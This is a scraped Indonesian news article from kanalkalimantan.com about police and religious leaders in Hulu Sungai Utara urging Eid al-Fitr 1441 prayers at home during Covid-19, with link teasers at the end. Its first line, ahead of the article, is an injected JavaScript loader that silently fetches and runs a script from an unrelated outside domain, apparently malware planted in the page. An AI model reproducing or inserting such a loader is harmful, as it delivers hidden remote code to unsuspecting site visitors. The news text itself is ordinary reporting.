(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Polres Hulu Sungai Utara (HSU) memastikan para tokoh agama dan para alim ulama di Kabupaten HSU kompak menganjurkan Sholat Idul Fitri 1441 Hijriyah dilaksanakan di rumah saja.
Hal tersebut seperti diungkapkan Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kasat Intelkam Polres HSU AKP Cece Sudrajat usai melakukan silaturahmi ke kediaman para tokoh agama dan alim ulama di Kabupaten HSU, Sabtu (23/5/2020).
Lebih lanjut, Cece Sudrajat mengimbau kepada seluruh masyarakat Kabupaten HSU mematuhi anjuran dan imbauan pemerintah untuk tidak melaksanakan takbiran keliling dan melaksanakan sholat Idul Fitri berjamaah di mesjid ataupun di lapangan.
“Kami harapkan benar-benar dipatuhi oleh seluruh lapisan masyarakat sebagai bagian dari usaha bersama melawan virus corona,†tegasnya.
Dikatakannya, anjuran dan imbauan tersebut berdasarkan : Fatwa Majelis Ulama Indonesia nomor 28 tahun 2020 tanggal 13 Mei 2020 tentang Panduan Kaifiat Takbir dan Sholat Idul Fitri Saat Pandemi Covid-19. Ditambah Edaran Gubernur Kalsel nomor : 443/267/Wasnas/Kesbangpol tanggal 19 Mei 2020 tentang Pelaksanaan Idul Fitri 1441 H.
Serta imbauan Pimpinan Wilayah Muhammadiyah Kalsel nomor : 31/II.0/A/2020 tanggal 18 Mei 2020 dan imbauan Sholat Idul Fitri Pengurus NU Kalsel nomor : 282/PW/Tanf.A.II/V/2020 tanggal 21 Mei 2020.
Jadi, menurut Cece semua imbauan dan Fatwa tersebut bertujuan baik untuk seluruh lapisan masyarakat karena mengingat semakin tingginya penularan Covid-19.
“Hal ini merupakan bentuk manifestasi kepedulian kita dalam hal memutus mata rantai pandemi Virus Corona ini,’’ tutur AKP Cece Sudrajat
Selain itu, dirinya memastikan larangan itu bukan karena pemerintah bermaksud menghalang-halangi kegiatan beribadah umat Islam, akan tetapi murni sebagai upaya menahan laju pandemi Covid-19.
“Mengingat wabah corona makin meluas dan berbahaya, maka sebaiknya kita ikuti anjuran pemerintah demi meminimalisir dan memutus mata rantai penularan virus corona. Dan ini untuk kebaikan dan kemaslahatan orang banyak,’’ imbuhnya.
Ditambahkan Cece lagi, selama melakukan kunjungan ke beberapa tokoh agama dan alim ulama kemarin, ia menyebut mereka sepakat akan mengikuti Fatwa MUI, imbauan Gubernur Kalsel, imbauan Pimpinan Muhammadiyah dan NU serta akan disampaikan kepada jemaah masing-masing dan masyarakat Kabupaten HSU untuk mengindahkan anjuran dan himbauan pemerintah untuk tidak melaksanakan takbiran keliling dan melaksanakan sholat Idul Fitri di rumah saja.
Salah satu tokoh agama di HSU KH Abdul Hamid yang mendukung surat edaran Gubernur Kalsel dan menghimbau kepada masyarakat HSU dalam pelaksanaan Sholat Idul Fitri 1441 Hijriyah melaksanakan di rumah masing-masing.
“Kami harapkan benar-benar dipatuhi oleh seluruh lapisan masyarakat sebagai bagian dari usaha bersama melawanv virus corona,†pungkas AKP Cece Sudrajat (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.